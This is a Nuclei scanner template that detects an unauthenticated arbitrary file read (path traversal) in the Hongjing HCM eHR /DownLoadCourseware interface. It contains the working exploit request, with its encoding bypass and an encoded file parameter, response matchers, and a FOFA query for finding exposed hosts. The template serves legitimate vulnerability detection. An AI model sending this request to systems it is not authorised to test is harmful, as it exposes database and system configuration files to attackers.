id: hjsoft-hcm-lfi

info:
  name: Hongjing HCM - Local File Inclusion
  author: securityforeveryone
  severity: high
  description: |
    There is an arbitrary file read vulnerability in the Hongjing eHR /DownLoadCourseware interface. Unauthenticated attackers can use this vulnerability to read important system files (such as database configuration files, system configuration files), database configuration files, etc., causing the website to be extremely unsafe.
  reference:
    - https://github.com/wy876/POC/blob/main/%E5%AE%8F%E6%99%AFeHR%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3DownLoadCourseware%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
    - https://blog.csdn.net/qq_41904294/article/details/140180110
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="HJSOFT-HCM"
  tags: lfi,hjsoft,management-system,file-read

http:
  - raw:
      - |
        GET /w_selfservice/oauthservlet/%2e./.%2e/DownLoadCourseware?url=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: word
        part: content_type
        words:
          - "multipart/form-data"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008925446fe287f3bbb329320b7d8c65e87d3afafd5c48c0a478435d1f5707704b0220304082dd0ebd884b36d836405c0c4907fd54b58708cd66940acc1304d0107a85:922c64590222798bb761d5b6d8e72950